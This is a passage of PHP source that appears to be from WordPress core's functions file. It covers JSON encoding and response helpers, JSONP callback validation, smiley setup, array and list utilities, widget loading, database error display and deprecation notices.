ks on data that shall be encoded to JSON.
*
* @ignore
* @since 4.1.0
* @access private
*
* @see wp_json_encode()
*
* @throws Exception If depth limit is reached.
*
* @param mixed $data Variable (usually an array or object) to encode as JSON.
* @param int $depth Maximum depth to walk through $data. Must be greater than 0.
* @return mixed The sanitized data that shall be encoded to JSON.
*/
function _wp_json_sanity_check( $data, $depth ) {
if ( $depth < 0 ) {
throw new Exception( 'Reached depth limit' );
}
if ( is_array( $data ) ) {
$output = array();
foreach ( $data as $id => $el ) {
// Don't forget to sanitize the ID!
if ( is_string( $id ) ) {
$clean_id = _wp_json_convert_string( $id );
} else {
$clean_id = $id;
}
// Check the element type, so that we're only recursing if we really have to.
if ( is_array( $el ) || is_object( $el ) ) {
$output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 );
} elseif ( is_string( $el ) ) {
$output[ $clean_id ] = _wp_json_convert_string( $el );
} else {
$output[ $clean_id ] = $el;
}
}
} elseif ( is_object( $data ) ) {
$output = new stdClass;
foreach ( $data as $id => $el ) {
if ( is_string( $id ) ) {
$clean_id = _wp_json_convert_string( $id );
} else {
$clean_id = $id;
}
if ( is_array( $el ) || is_object( $el ) ) {
$output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 );
} elseif ( is_string( $el ) ) {
$output->$clean_id = _wp_json_convert_string( $el );
} else {
$output->$clean_id = $el;
}
}
} elseif ( is_string( $data ) ) {
return _wp_json_convert_string( $data );
} else {
return $data;
}
return $output;
}
/**
* Convert a string to UTF-8, so that it can be safely encoded to JSON.
*
* @ignore
* @since 4.1.0
* @access private
*
* @see _wp_json_sanity_check()
*
* @param string $string The string which is to be converted.
* @return string The checked string.
*/
function _wp_json_convert_string( $string ) {
static $use_mb = null;
if ( is_null( $use_mb ) ) {
$use_mb = function_exists( 'mb_convert_encoding' );
}
if ( $use_mb ) {
$encoding = mb_detect_encoding( $string, mb_detect_order(), true );
if ( $encoding ) {
return mb_convert_encoding( $string, 'UTF-8', $encoding );
} else {
return mb_convert_encoding( $string, 'UTF-8', 'UTF-8' );
}
} else {
return wp_check_invalid_utf8( $string, true );
}
}
/**
* Prepares response data to be serialized to JSON.
*
* This supports the JsonSerializable interface for PHP 5.2-5.3 as well.
*
* @ignore
* @since 4.4.0
* @deprecated 5.3.0 This function is no longer needed as support for PHP 5.2-5.3
* has been dropped.
* @access private
*
* @param mixed $data Native representation.
* @return bool|int|float|null|string|array Data ready for `json_encode()`.
*/
function _wp_json_prepare_data( $data ) {
_deprecated_function( __FUNCTION__, '5.3.0' );
return $data;
}
/**
* Send a JSON response back to an Ajax request.
*
* @since 3.5.0
* @since 4.7.0 The `$status_code` parameter was added.
* @since 5.6.0 The `$options` parameter was added.
*
* @param mixed $response Variable (usually an array or object) to encode as JSON,
* then print and die.
* @param int $status_code Optional. The HTTP status code to output. Default null.
* @param int $options Optional. Options to be passed to json_encode(). Default 0.
*/
function wp_send_json( $response, $status_code = null, $options = 0 ) {
if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) {
_doing_it_wrong(
__FUNCTION__,
sprintf(
/* translators: 1: WP_REST_Response, 2: WP_Error */
__( 'Return a %1$s or %2$s object from your callback when using the REST API.' ),
'WP_REST_Response',
'WP_Error'
),
'5.5.0'
);
}
if ( ! headers_sent() ) {
header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );
if ( null !== $status_code ) {
status_header( $status_code );
}
}
echo wp_json_encode( $response, $options );
if ( wp_doing_ajax() ) {
wp_die(
'',
'',
array(
'response' => null,
)
);
} else {
die;
}
}
/**
* Send a JSON response back to an Ajax request, indicating success.
*
* @since 3.5.0
* @since 4.7.0 The `$status_code` parameter was added.
* @since 5.6.0 The `$options` parameter was added.
*
* @param mixed $data Optional. Data to encode as JSON, then print and die. Default null.
* @param int $status_code Optional. The HTTP status code to output. Default null.
* @param int $options Optional. Options to be passed to json_encode(). Default 0.
*/
function wp_send_json_success( $data = null, $status_code = null, $options = 0 ) {
$response = array( 'success' => true );
if ( isset( $data ) ) {
$response['data'] = $data;
}
wp_send_json( $response, $status_code, $options );
}
/**
* Send a JSON response back to an Ajax request, indicating failure.
*
* If the `$data` parameter is a WP_Error object, the errors
* within the object are processed and output as an array of error
* codes and corresponding messages. All other types are output
* without further processing.
*
* @since 3.5.0
* @since 4.1.0 The `$data` parameter is now processed if a WP_Error object is passed in.
* @since 4.7.0 The `$status_code` parameter was added.
* @since 5.6.0 The `$options` parameter was added.
*
* @param mixed $data Optional. Data to encode as JSON, then print and die. Default null.
* @param int $status_code Optional. The HTTP status code to output. Default null.
* @param int $options Optional. Options to be passed to json_encode(). Default 0.
*/
function wp_send_json_error( $data = null, $status_code = null, $options = 0 ) {
$response = array( 'success' => false );
if ( isset( $data ) ) {
if ( is_wp_error( $data ) ) {
$result = array();
foreach ( $data->errors as $code => $messages ) {
foreach ( $messages as $message ) {
$result[] = array(
'code' => $code,
'message' => $message,
);
}
}
$response['data'] = $result;
} else {
$response['data'] = $data;
}
}
wp_send_json( $response, $status_code, $options );
}
/**
* Checks that a JSONP callback is a valid JavaScript callback name.
*
* Only allows alphanumeric characters and the dot character in callback
* function names. This helps to mitigate XSS attacks caused by directly
* outputting user input.
*
* @since 4.6.0
*
* @param string $callback Supplied JSONP callback function name.
* @return bool Whether the callback function name is valid.
*/
function wp_check_jsonp_callback( $callback ) {
if ( ! is_string( $callback ) ) {
return false;
}
preg_replace( '/[^\w\.]/', '', $callback, -1, $illegal_char_count );
return 0 === $illegal_char_count;
}
/**
* Reads and decodes a JSON file.
*
* @since 5.9.0
*
* @param string $filename Path to the JSON file.
* @param array $options {
* Optional. Options to be used with `json_decode()`.
*
* @type bool $associative Optional. When `true`, JSON objects will be returned as associative arrays.
* When `false`, JSON objects will be returned as objects.
* }
*
* @return mixed Returns the value encoded in JSON in appropriate PHP type.
* `null` is returned if the file is not found, or its content can't be decoded.
*/
function wp_json_file_decode( $filename, $options = array() ) {
$result = null;
$filename = wp_normalize_path( realpath( $filename ) );
if ( ! file_exists( $filename ) ) {
trigger_error(
sprintf(
/* translators: %s: Path to the JSON file. */
__( "File %s doesn't exist!" ),
$filename
)
);
return $result;
}
$options = wp_parse_args( $options, array( 'associative' => false ) );
$decoded_file = json_decode( file_get_contents( $filename ), $options['associative'] );
if ( JSON_ERROR_NONE !== json_last_error() ) {
trigger_error(
sprintf(
/* translators: 1: Path to the JSON file, 2: Error message. */
__( 'Error when decoding a JSON file at path %1$s: %2$s' ),
$filename,
json_last_error_msg()
)
);
return $result;
}
return $decoded_file;
}
/**
* Retrieve the WordPress home page URL.
*
* If the constant named 'WP_HOME' exists, then it will be used and returned
* by the function. This can be used to counter the redirection on your local
* development environment.
*
* @since 2.2.0
* @access private
*
* @see WP_HOME
*
* @param string $url URL for the home location.
* @return string Homepage location.
*/
function _config_wp_home( $url = '' ) {
if ( defined( 'WP_HOME' ) ) {
return untrailingslashit( WP_HOME );
}
return $url;
}
/**
* Retrieve the WordPress site URL.
*
* If the constant named 'WP_SITEURL' is defined, then the value in that
* constant will always be returned. This can be used for debugging a site
* on your localhost while not having to change the database to your URL.
*
* @since 2.2.0
* @access private
*
* @see WP_SITEURL
*
* @param string $url URL to set the WordPress site location.
* @return string The WordPress site URL.
*/
function _config_wp_siteurl( $url = '' ) {
if ( defined( 'WP_SITEURL' ) ) {
return untrailingslashit( WP_SITEURL );
}
return $url;
}
/**
* Delete the fresh site option.
*
* @since 4.7.0
* @access private
*/
function _delete_option_fresh_site() {
update_option( 'fresh_site', '0' );
}
/**
* Set the localized direction for MCE plugin.
*
* Will only set the direction to 'rtl', if the WordPress locale has
* the text direction set to 'rtl'.
*
* Fills in the 'directionality' setting, enables the 'directionality'
* plugin, and adds the 'ltr' button to 'toolbar1', formerly
* 'theme_advanced_buttons1' array keys. These keys are then returned
* in the $mce_init (TinyMCE settings) array.
*
* @since 2.1.0
* @access private
*
* @param array $mce_init MCE settings array.
* @return array Direction set for 'rtl', if needed by locale.
*/
function _mce_set_direction( $mce_init ) {
if ( is_rtl() ) {
$mce_init['directionality'] = 'rtl';
$mce_init['rtl_ui'] = true;
if ( ! empty( $mce_init['plugins'] ) && strpos( $mce_init['plugins'], 'directionality' ) === false ) {
$mce_init['plugins'] .= ',directionality';
}
if ( ! empty( $mce_init['toolbar1'] ) && ! preg_match( '/\bltr\b/', $mce_init['toolbar1'] ) ) {
$mce_init['toolbar1'] .= ',ltr';
}
}
return $mce_init;
}
/**
* Convert smiley code to the icon graphic file equivalent.
*
* You can turn off smilies, by going to the write setting screen and unchecking
* the box, or by setting 'use_smilies' option to false or removing the option.
*
* Plugins may override the default smiley list by setting the $wpsmiliestrans
* to an array, with the key the code the blogger types in and the value the
* image file.
*
* The $wp_smiliessearch global is for the regular expression and is set each
* time the function is called.
*
* The full list of smilies can be found in the function and won't be listed in
* the description. Probably should create a Codex page for it, so that it is
* available.
*
* @global array $wpsmiliestrans
* @global array $wp_smiliessearch
*
* @since 2.2.0
*/
function smilies_init() {
global $wpsmiliestrans, $wp_smiliessearch;
// Don't bother setting up smilies if they are disabled.
if ( ! get_option( 'use_smilies' ) ) {
return;
}
if ( ! isset( $wpsmiliestrans ) ) {
$wpsmiliestrans = array(
':mrgreen:' => 'mrgreen.png',
':neutral:' => "\xf0\x9f\x98\x90",
':twisted:' => "\xf0\x9f\x98\x88",
':arrow:' => "\xe2\x9e\xa1",
':shock:' => "\xf0\x9f\x98\xaf",
':smile:' => "\xf0\x9f\x99\x82",
':???:' => "\xf0\x9f\x98\x95",
':cool:' => "\xf0\x9f\x98\x8e",
':evil:' => "\xf0\x9f\x91\xbf",
':grin:' => "\xf0\x9f\x98\x80",
':idea:' => "\xf0\x9f\x92\xa1",
':oops:' => "\xf0\x9f\x98\xb3",
':razz:' => "\xf0\x9f\x98\x9b",
':roll:' => "\xf0\x9f\x99\x84",
':wink:' => "\xf0\x9f\x98\x89",
':cry:' => "\xf0\x9f\x98\xa5",
':eek:' => "\xf0\x9f\x98\xae",
':lol:' => "\xf0\x9f\x98\x86",
':mad:' => "\xf0\x9f\x98\xa1",
':sad:' => "\xf0\x9f\x99\x81",
'8-)' => "\xf0\x9f\x98\x8e",
'8-O' => "\xf0\x9f\x98\xaf",
':-(' => "\xf0\x9f\x99\x81",
':-)' => "\xf0\x9f\x99\x82",
':-?' => "\xf0\x9f\x98\x95",
':-D' => "\xf0\x9f\x98\x80",
':-P' => "\xf0\x9f\x98\x9b",
':-o' => "\xf0\x9f\x98\xae",
':-x' => "\xf0\x9f\x98\xa1",
':-|' => "\xf0\x9f\x98\x90",
';-)' => "\xf0\x9f\x98\x89",
// This one transformation breaks regular text with frequency.
// '8)' => "\xf0\x9f\x98\x8e",
'8O' => "\xf0\x9f\x98\xaf",
':(' => "\xf0\x9f\x99\x81",
':)' => "\xf0\x9f\x99\x82",
':?' => "\xf0\x9f\x98\x95",
':D' => "\xf0\x9f\x98\x80",
':P' => "\xf0\x9f\x98\x9b",
':o' => "\xf0\x9f\x98\xae",
':x' => "\xf0\x9f\x98\xa1",
':|' => "\xf0\x9f\x98\x90",
';)' => "\xf0\x9f\x98\x89",
':!:' => "\xe2\x9d\x97",
':?:' => "\xe2\x9d\x93",
);
}
/**
* Filters all the smilies.
*
* This filter must be added before `smilies_init` is run, as
* it is normally only run once to setup the smilies regex.
*
* @since 4.7.0
*
* @param string[] $wpsmiliestrans List of the smilies' hexadecimal representations, keyed by their smily code.
*/
$wpsmiliestrans = apply_filters( 'smilies', $wpsmiliestrans );
if ( count( $wpsmiliestrans ) == 0 ) {
return;
}
/*
* NOTE: we sort the smilies in reverse key order. This is to make sure
* we match the longest possible smilie (:???: vs :?) as the regular
* expression used below is first-match
*/
krsort( $wpsmiliestrans );
$spaces = wp_spaces_regexp();
// Begin first "subpattern".
$wp_smiliessearch = '/(?<=' . $spaces . '|^)';
$subchar = '';
foreach ( (array) $wpsmiliestrans as $smiley => $img ) {
$firstchar = substr( $smiley, 0, 1 );
$rest = substr( $smiley, 1 );
// New subpattern?
if ( $firstchar != $subchar ) {
if ( '' !== $subchar ) {
$wp_smiliessearch .= ')(?=' . $spaces . '|$)'; // End previous "subpattern".
$wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; // Begin another "subpattern".
}
$subchar = $firstchar;
$wp_smiliessearch .= preg_quote( $firstchar, '/' ) . '(?:';
} else {
$wp_smiliessearch .= '|';
}
$wp_smiliessearch .= preg_quote( $rest, '/' );
}
$wp_smiliessearch .= ')(?=' . $spaces . '|$)/m';
}
/**
* Merges user defined arguments into defaults array.
*
* This function is used throughout WordPress to allow for both string or array
* to be merged into another array.
*
* @since 2.2.0
* @since 2.3.0 `$args` can now also be an object.
*
* @param string|array|object $args Value to merge with $defaults.
* @param array $defaults Optional. Array that serves as the defaults.
* Default empty array.
* @return array Merged user defined values with defaults.
*/
function wp_parse_args( $args, $defaults = array() ) {
if ( is_object( $args ) ) {
$parsed_args = get_object_vars( $args );
} elseif ( is_array( $args ) ) {
$parsed_args =& $args;
} else {
wp_parse_str( $args, $parsed_args );
}
if ( is_array( $defaults ) && $defaults ) {
return array_merge( $defaults, $parsed_args );
}
return $parsed_args;
}
/**
* Converts a comma- or space-separated list of scalar values to an array.
*
* @since 5.1.0
*
* @param array|string $list List of values.
* @return array Array of values.
*/
function wp_parse_list( $list ) {
if ( ! is_array( $list ) ) {
return preg_split( '/[\s,]+/', $list, -1, PREG_SPLIT_NO_EMPTY );
}
return $list;
}
/**
* Cleans up an array, comma- or space-separated list of IDs.
*
* @since 3.0.0
* @since 5.1.0 Refactored to use wp_parse_list().
*
* @param array|string $list List of IDs.
* @return int[] Sanitized array of IDs.
*/
function wp_parse_id_list( $list ) {
$list = wp_parse_list( $list );
return array_unique( array_map( 'absint', $list ) );
}
/**
* Cleans up an array, comma- or space-separated list of slugs.
*
* @since 4.7.0
* @since 5.1.0 Refactored to use wp_parse_list().
*
* @param array|string $list List of slugs.
* @return string[] Sanitized array of slugs.
*/
function wp_parse_slug_list( $list ) {
$list = wp_parse_list( $list );
return array_unique( array_map( 'sanitize_title', $list ) );
}
/**
* Extract a slice of an array, given a list of keys.
*
* @since 3.1.0
*
* @param array $array The original array.
* @param array $keys The list of keys.
* @return array The array slice.
*/
function wp_array_slice_assoc( $array, $keys ) {
$slice = array();
foreach ( $keys as $key ) {
if ( isset( $array[ $key ] ) ) {
$slice[ $key ] = $array[ $key ];
}
}
return $slice;
}
/**
* Accesses an array in depth based on a path of keys.
*
* It is the PHP equivalent of JavaScript's `lodash.get()` and mirroring it may help other components
* retain some symmetry between client and server implementations.
*
* Example usage:
*
* $array = array(
* 'a' => array(
* 'b' => array(
* 'c' => 1,
* ),
* ),
* );
* _wp_array_get( $array, array( 'a', 'b', 'c' ) );
*
* @internal
*
* @since 5.6.0
* @access private
*
* @param array $array An array from which we want to retrieve some information.
* @param array $path An array of keys describing the path with which to retrieve information.
* @param mixed $default The return value if the path does not exist within the array,
* or if `$array` or `$path` are not arrays.
* @return mixed The value from the path specified.
*/
function _wp_array_get( $array, $path, $default = null ) {
// Confirm $path is valid.
if ( ! is_array( $path ) || 0 === count( $path ) ) {
return $default;
}
foreach ( $path as $path_element ) {
if (
! is_array( $array ) ||
( ! is_string( $path_element ) && ! is_integer( $path_element ) && ! is_null( $path_element ) ) ||
! array_key_exists( $path_element, $array )
) {
return $default;
}
$array = $array[ $path_element ];
}
return $array;
}
/**
* Sets an array in depth based on a path of keys.
*
* It is the PHP equivalent of JavaScript's `lodash.set()` and mirroring it may help other components
* retain some symmetry between client and server implementations.
*
* Example usage:
*
* $array = array();
* _wp_array_set( $array, array( 'a', 'b', 'c', 1 ) );
*
* $array becomes:
* array(
* 'a' => array(
* 'b' => array(
* 'c' => 1,
* ),
* ),
* );
*
* @internal
*
* @since 5.8.0
* @access private
*
* @param array $array An array that we want to mutate to include a specific value in a path.
* @param array $path An array of keys describing the path that we want to mutate.
* @param mixed $value The value that will be set.
*/
function _wp_array_set( &$array, $path, $value = null ) {
// Confirm $array is valid.
if ( ! is_array( $array ) ) {
return;
}
// Confirm $path is valid.
if ( ! is_array( $path ) ) {
return;
}
$path_length = count( $path );
if ( 0 === $path_length ) {
return;
}
foreach ( $path as $path_element ) {
if (
! is_string( $path_element ) && ! is_integer( $path_element ) &&
! is_null( $path_element )
) {
return;
}
}
for ( $i = 0; $i < $path_length - 1; ++$i ) {
$path_element = $path[ $i ];
if (
! array_key_exists( $path_element, $array ) ||
! is_array( $array[ $path_element ] )
) {
$array[ $path_element ] = array();
}
$array = &$array[ $path_element ]; // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.VariableRedeclaration
}
$array[ $path[ $i ] ] = $value;
}
/**
* This function is trying to replicate what
* lodash's kebabCase (JS library) does in the client.
*
* The reason we need this function is that we do some processing
* in both the client and the server (e.g.: we generate
* preset classes from preset slugs) that needs to
* create the same output.
*
* We can't remove or update the client's library due to backward compatibility
* (some of the output of lodash's kebabCase is saved in the post content).
* We have to make the server behave like the client.
*
* Changes to this function should follow updates in the client
* with the same logic.
*
* @link https://github.com/lodash/lodash/blob/4.17/dist/lodash.js#L14369
* @link https://github.com/lodash/lodash/blob/4.17/dist/lodash.js#L278
* @link https://github.com/lodash-php/lodash-php/blob/master/src/String/kebabCase.php
* @link https://github.com/lodash-php/lodash-php/blob/master/src/internal/unicodeWords.php
*
* @param string $string The string to kebab-case.
*
* @return string kebab-cased-string.
*/
function _wp_to_kebab_case( $string ) {
//phpcs:disable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase
// ignore the camelCase names for variables so the names are the same as lodash
// so comparing and porting new changes is easier.
/*
* Some notable things we've removed compared to the lodash version are:
*
* - non-alphanumeric characters: rsAstralRange, rsEmoji, etc
* - the groups that processed the apostrophe, as it's removed before passing the string to preg_match: rsApos, rsOptContrLower, and rsOptContrUpper
*
*/
/** Used to compose unicode character classes. */
$rsLowerRange = 'a-z\\xdf-\\xf6\\xf8-\\xff';
$rsNonCharRange = '\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf';
$rsPunctuationRange = '\\x{2000}-\\x{206f}';
$rsSpaceRange = ' \\t\\x0b\\f\\xa0\\x{feff}\\n\\r\\x{2028}\\x{2029}\\x{1680}\\x{180e}\\x{2000}\\x{2001}\\x{2002}\\x{2003}\\x{2004}\\x{2005}\\x{2006}\\x{2007}\\x{2008}\\x{2009}\\x{200a}\\x{202f}\\x{205f}\\x{3000}';
$rsUpperRange = 'A-Z\\xc0-\\xd6\\xd8-\\xde';
$rsBreakRange = $rsNonCharRange . $rsPunctuationRange . $rsSpaceRange;
/** Used to compose unicode capture groups. */
$rsBreak = '[' . $rsBreakRange . ']';
$rsDigits = '\\d+'; // The last lodash version in GitHub uses a single digit here and expands it when in use.
$rsLower = '[' . $rsLowerRange . ']';
$rsMisc = '[^' . $rsBreakRange . $rsDigits . $rsLowerRange . $rsUpperRange . ']';
$rsUpper = '[' . $rsUpperRange . ']';
/** Used to compose unicode regexes. */
$rsMiscLower = '(?:' . $rsLower . '|' . $rsMisc . ')';
$rsMiscUpper = '(?:' . $rsUpper . '|' . $rsMisc . ')';
$rsOrdLower = '\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])';
$rsOrdUpper = '\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])';
$regexp = '/' . implode(
'|',
array(
$rsUpper . '?' . $rsLower . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper, '$' ) ) . ')',
$rsMiscUpper . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper . $rsMiscLower, '$' ) ) . ')',
$rsUpper . '?' . $rsMiscLower . '+',
$rsUpper . '+',
$rsOrdUpper,
$rsOrdLower,
$rsDigits,
)
) . '/u';
preg_match_all( $regexp, str_replace( "'", '', $string ), $matches );
return strtolower( implode( '-', $matches[0] ) );
//phpcs:enable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase
}
/**
* Determines if the variable is a numeric-indexed array.
*
* @since 4.4.0
*
* @param mixed $data Variable to check.
* @return bool Whether the variable is a list.
*/
function wp_is_numeric_array( $data ) {
if ( ! is_array( $data ) ) {
return false;
}
$keys = array_keys( $data );
$string_keys = array_filter( $keys, 'is_string' );
return count( $string_keys ) === 0;
}
/**
* Filters a list of objects, based on a set of key => value arguments.
*
* Retrieves the objects from the list that match the given arguments.
* Key represents property name, and value represents property value.
*
* If an object has more properties than those specified in arguments,
* that will not disqualify it. When using the 'AND' operator,
* any missing properties will disqualify it.
*
* When using the `$field` argument, this function can also retrieve
* a particular field from all matching objects, whereas wp_list_filter()
* only does the filtering.
*
* @since 3.0.0
* @since 4.7.0 Uses `WP_List_Util` class.
*
* @param array $list An array of objects to filter.
* @param array $args Optional. An array of key => value arguments to match
* against each object. Default empty array.
* @param string $operator Optional. The logical operation to perform. 'AND' means
* all elements from the array must match. 'OR' means only
* one element needs to match. 'NOT' means no elements may
* match. Default 'AND'.
* @param bool|string $field Optional. A field from the object to place instead
* of the entire object. Default false.
* @return array A list of objects or object fields.
*/
function wp_filter_object_list( $list, $args = array(), $operator = 'and', $field = false ) {
if ( ! is_array( $list ) ) {
return array();
}
$util = new WP_List_Util( $list );
$util->filter( $args, $operator );
if ( $field ) {
$util->pluck( $field );
}
return $util->get_output();
}
/**
* Filters a list of objects, based on a set of key => value arguments.
*
* Retrieves the objects from the list that match the given arguments.
* Key represents property name, and value represents property value.
*
* If an object has more properties than those specified in arguments,
* that will not disqualify it. When using the 'AND' operator,
* any missing properties will disqualify it.
*
* If you want to retrieve a particular field from all matching objects,
* use wp_filter_object_list() instead.
*
* @since 3.1.0
* @since 4.7.0 Uses `WP_List_Util` class.
* @since 5.9.0 Converted into a wrapper for `wp_filter_object_list()`.
*
* @param array $list An array of objects to filter.
* @param array $args Optional. An array of key => value arguments to match
* against each object. Default empty array.
* @param string $operator Optional. The logical operation to perform. 'AND' means
* all elements from the array must match. 'OR' means only
* one element needs to match. 'NOT' means no elements may
* match. Default 'AND'.
* @return array Array of found values.
*/
function wp_list_filter( $list, $args = array(), $operator = 'AND' ) {
return wp_filter_object_list( $list, $args, $operator );
}
/**
* Plucks a certain field out of each object or array in an array.
*
* This has the same functionality and prototype of
* array_column() (PHP 5.5) but also supports objects.
*
* @since 3.1.0
* @since 4.0.0 $index_key parameter added.
* @since 4.7.0 Uses `WP_List_Util` class.
*
* @param array $list List of objects or arrays.
* @param int|string $field Field from the object to place instead of the entire object.
* @param int|string $index_key Optional. Field from the object to use as keys for the new array.
* Default null.
* @return array Array of found values. If `$index_key` is set, an array of found values with keys
* corresponding to `$index_key`. If `$index_key` is null, array keys from the original
* `$list` will be preserved in the results.
*/
function wp_list_pluck( $list, $field, $index_key = null ) {
if ( ! is_array( $list ) ) {
return array();
}
$util = new WP_List_Util( $list );
return $util->pluck( $field, $index_key );
}
/**
* Sorts an array of objects or arrays based on one or more orderby arguments.
*
* @since 4.7.0
*
* @param array $list An array of objects to sort.
* @param string|array $orderby Optional. Either the field name to order by or an array
* of multiple orderby fields as $orderby => $order.
* @param string $order Optional. Either 'ASC' or 'DESC'. Only used if $orderby
* is a string.
* @param bool $preserve_keys Optional. Whether to preserve keys. Default false.
* @return array The sorted array.
*/
function wp_list_sort( $list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
if ( ! is_array( $list ) ) {
return array();
}
$util = new WP_List_Util( $list );
return $util->sort( $orderby, $order, $preserve_keys );
}
/**
* Determines if Widgets library should be loaded.
*
* Checks to make sure that the widgets library hasn't already been loaded.
* If it hasn't, then it will load the widgets library and run an action hook.
*
* @since 2.2.0
*/
function wp_maybe_load_widgets() {
/**
* Filters whether to load the Widgets library.
*
* Returning a falsey value from the filter will effectively short-circuit
* the Widgets library from loading.
*
* @since 2.8.0
*
* @param bool $wp_maybe_load_widgets Whether to load the Widgets library.
* Default true.
*/
if ( ! apply_filters( 'load_default_widgets', true ) ) {
return;
}
require_once ABSPATH . WPINC . '/default-widgets.php';
add_action( '_admin_menu', 'wp_widgets_add_menu' );
}
/**
* Append the Widgets menu to the themes main menu.
*
* @since 2.2.0
* @since 5.9.3 Don't specify menu order when the active theme is a block theme.
*
* @global array $submenu
*/
function wp_widgets_add_menu() {
global $submenu;
if ( ! current_theme_supports( 'widgets' ) ) {
return;
}
$menu_name = __( 'Widgets' );
if ( wp_is_block_theme() ) {
$submenu['themes.php'][] = array( $menu_name, 'edit_theme_options', 'widgets.php' );
} else {
$submenu['themes.php'][7] = array( $menu_name, 'edit_theme_options', 'widgets.php' );
}
ksort( $submenu['themes.php'], SORT_NUMERIC );
}
/**
* Flush all output buffers for PHP 5.2.
*
* Make sure all output buffers are flushed before our singletons are destroyed.
*
* @since 2.2.0
*/
function wp_ob_end_flush_all() {
$levels = ob_get_level();
for ( $i = 0; $i < $levels; $i++ ) {
ob_end_flush();
}
}
/**
* Load custom DB error or display WordPress DB error.
*
* If a file exists in the wp-content directory named db-error.php, then it will
* be loaded instead of displaying the WordPress DB error. If it is not found,
* then the WordPress DB error will be displayed instead.
*
* The WordPress DB error sets the HTTP status header to 500 to try to prevent
* search engines from caching the message. Custom DB messages should do the
* same.
*
* This function was backported to WordPress 2.3.2, but originally was added
* in WordPress 2.5.0.
*
* @since 2.3.2
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function dead_db() {
global $wpdb;
wp_load_translations_early();
// Load custom DB error template, if present.
if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
require_once WP_CONTENT_DIR . '/db-error.php';
die();
}
// If installing or in the admin, provide the verbose message.
if ( wp_installing() || defined( 'WP_ADMIN' ) ) {
wp_die( $wpdb->error );
}
// Otherwise, be terse.
wp_die( '
', __( 'Database Error' ) );
}
/**
* Convert a value to non-negative integer.
*
* @since 2.5.0
*
* @param mixed $maybeint Data you wish to have converted to a non-negative integer.
* @return int A non-negative integer.
*/
function absint( $maybeint ) {
return abs( (int) $maybeint );
}
/**
* Mark a function as deprecated and inform when it has been used.
*
* There is a {@see 'hook deprecated_function_run'} that will be called that can be used
* to get the backtrace up to what file and function called the deprecated
* function.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is to be used in every function that is deprecated.
*
* @since 2.5.0
* @since 5.4.0 This function is no longer marked as "private".
* @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE).
*
* @param string $function The function that was called.
* @param string $version The version of WordPress that deprecated the function.
* @param string $replacement Optional. The function that should have been called. Default empty.
*/
function _deprecated_function( $function, $version, $replacement = '' ) {
/**
* Fires when a deprecated function is called.
*
* @since 2.5.0
*
* @param string $function The function that was called.
* @param string $replacement The function that should have been called.
* @param string $version The version of WordPress that deprecated the function.
*/
do_action( 'deprecated_function_run', $function, $replacement, $version );
/**
* Filters whether to trigger an error for deprecated functions.
*
* @since 2.5.0
*
* @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( $replacement ) {
trigger_error(
sprintf(
/* translators: 1: PHP function name, 2: Version number, 3: Alternative function name. */
__( 'Function %1$s is deprecated since version %2$s! Use %3$s instead.' ),
$function,
$version,
$replacement
),
E_USER_DEPRECATED
);
} else {
trigger_error(
sprintf(
/* translators: 1: PHP function name, 2: Version number. */
__( 'Function %1$s is deprecated since version %2$s with no alternative available.' ),
$function,
$version
),
E_USER_DEPRECATED
);
}
} else {
if ( $replacement ) {
trigger_error(
sprintf(
'Function %1$s is deprecated since version %2$s! Use %3$s instead.',
$function,
$version,
$replacement
),
E_USER_DEPRECATED
);
} else {
trigger_error(
sprintf(
'Function %1$s is deprecated since version %2$s with no alternative available.',
$function,
$version
),
E_USER_DEPRECATED
);
}
}
}
}
/**
* Marks a constructor as deprecated and informs when it has been used.
*
* Similar to _deprecated_function(), but with different strings. Used to
* remove PHP4 style constructors.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is to be used in every PHP4 style constructor method that is deprecated.
*
* @since 4.3.0
* @since 4.5.0 Added the `$parent_class` parameter.
* @since 5.4.0 This function is no longer marked as "private".
* @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE).
*
* @param string $class The class containing the deprecated constructor.
* @param string $version The version of WordPress that deprecated the function.
* @param string $parent_class Optional. The parent class calling the deprecated constructor.
* Default empty string.
*/
function _deprecated_constructor( $class, $version, $parent_class = '' ) {
/**
* Fires when a deprecated constructor is called.
*
* @since 4.3.0
* @since 4.5.0 Added the `$parent_class` parameter.
*
* @param string $class The class containing the deprecated constructor.
* @param string $version The version of WordPress that deprecated the function.
* @param string $parent_class The parent class calling the deprecated constructor.
*/
do_action( 'deprecated_constructor_run', $class, $version, $parent_class );
/**
* Filters whether to trigger an error for deprecated functions.
*
* `WP_DEBUG` must be true in addition to the filter evaluating to true.
*
* @since 4.3.0
*
* @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( $parent_class ) {
trigger_error(
sprintf(
/* translators: 1: PHP class name, 2: PHP parent class name, 3: Version number, 4: __construct() method. */
__( 'The called constructor method for %1$s class in %2$s is deprecated since version %3$s! Use %4$s instead.' ),
$class,
$parent_class,
$version,
'__construct()'
),
E_USER_DEPRECATED
);
} else {
trigger_error(
sprintf(
/* translators: 1: PHP class name, 2: Version number, 3: __construct() method. */
__( 'The called constructor method for %1$s class is deprecated since version %2$s! Use %3$s instead.' ),
$class,
$version,
'__construct()'
),
E_USER_DEPRECATED
